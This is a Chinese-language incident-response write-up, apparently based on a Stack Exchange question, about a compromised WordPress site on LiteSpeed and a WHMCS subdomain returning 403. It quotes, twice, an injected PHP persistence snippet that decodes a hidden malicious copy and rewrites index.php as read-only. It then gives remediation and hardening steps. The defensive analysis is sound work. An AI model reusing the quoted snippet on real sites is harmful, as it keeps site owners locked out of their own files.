LiteSpeed环境WordPress输出PHP代码、WHMCS子域403报错求助

已确认的异常特征 #

• 基础环境：LiteSpeed Web服务器，站点前2天运行无异常，当日早间突发故障
• WordPress主站：可正常访问，但部分功能失效，页面头部直接输出未被PHP解析的恶意代码片段，代码内容如下：

$i_p = "index.php"; 
$index = file_get_contents($i_p); 
$path = "{index_hide}"; 
if (file_exists($path)) { 
    $index_hide = file_get_contents($path); 
    $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); 
    if(md5($index) != md5($index_hide)) { 
        @chmod($i_p, 0644); 
        @file_put_contents($i_p, $index_hide); 
        @chmod($i_p, 0444); 
    } 
} 
$i_p = "index.php"; 
$index = file_get_contents($i_p); 
$path = "{index_hide}"; 
if (file_exists($path)) { 
    $index_hide = file_get_contents($path); 
    $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); 
    if(md5($index) != md5($index_hide)) { 
        @chmod($i_p, 0644); 
        @file_put_contents($i_p, $index_hide); 
        @chmod($i_p, 0444); 
    } 
}

• 子域名WHMCS站点：完全无法访问，返回错误如下：

403
Forbidden
Access to this resource on the server is denied!

问题定性 #

该故障不是普通程序报错，属于明确的站点被入侵挂马场景。页面输出的重复PHP代码是攻击者植入的入口文件持久化篡改逻辑：代码会读取攻击者放在隐藏路径的恶意代码副本，每次访问时校验当前index.php的MD5值，若和恶意副本不一致，就强制将入口文件替换为恶意版本，并将文件权限锁为0444只读，阻碍管理员直接修复文件。

分优先级排查步骤 #

第一优先级：阻断篡改链路，避免反复被改 #

• 第一时间将站点切为维护模式，暂停公网访问，先将所有站点目录下的入口文件（index.php、index.html、admin.php等）下载到本地备份，不要直接在服务器上修改文件——只要恶意副本没被删除，刚修改完入口文件就会被这段逻辑还原为恶意版本。
• 全盘搜索站点目录下的隐藏文件（攻击者通常会把{index_hide}对应的恶意副本命名为.开头的隐藏文件，比如.wpcache.php、.syslog.tmp，藏在站点根目录、wp-includes、WHMCS的vendor目录这类路径较深、管理员不常检查的位置），找到后第一时间删除恶意副本，再清理所有入口文件中被植入的恶意代码段。
• 按修改时间排序所有站点文件，重点排查异常发生时间点前后1小时内被修改的PHP文件，尤其是插件、主题、第三方组件目录下的文件，清理攻击者植入的其他webshell后门。

第二优先级：定位入侵入口，清除全部后门 #

• 拉取LiteSpeed的访问日志、错误日志，筛选故障发生时间点前后的POST请求，重点排查WordPress后台、WHMCS后台、插件AJAX接口路径的异常访问记录，定位攻击者上传恶意文件、执行代码的具体请求。
• 核对WordPress、WHMCS核心版本，以及所有安装的插件、主题版本，排查近期披露的未授权上传、代码执行漏洞，重点关注故障前2天内新装、更新过的组件，这是最高概率的入侵入口。
• 检查服务器crontab定时任务、PHP/LiteSpeed启动配置、系统可登录用户列表，排查攻击者留存的系统级持久化后门，避免清理完站点文件后被反复植入。
• 针对WHMCS的403错误，优先检查三个点：一是WHMCS目录下的.htaccess文件是否被攻击者篡改加了拦截规则；二是WHMCS入口文件、目录的权限是否被改乱（比如文件权限被设为000、Web服务运行用户无读取权限）；三是LiteSpeed的WAF规则、目录访问限制是否被恶意修改。

第三优先级：修复后加固，避免二次入侵 #

• 清理完所有恶意代码后，将PHP核心文件、入口文件的权限设为Web运行用户仅可读、不可写，目录权限统一设为755；针对上传目录、缓存目录这类不需要执行PHP的路径，在LiteSpeed配置中直接禁止PHP解析。
• 重置所有凭证：包括WordPress/ WHMCS后台管理员密码、服务器SSH/FTP密码、数据库连接密码，防止攻击者通过留存的弱凭证或窃取的密码二次入侵。
• 用官方原始安装包的文件MD5做对比，校验WordPress、WHMCS核心文件是否被篡改，不要遗漏深层目录下留的后门。

内容的提问来源于stack exchange，提问作者Jan Kowalski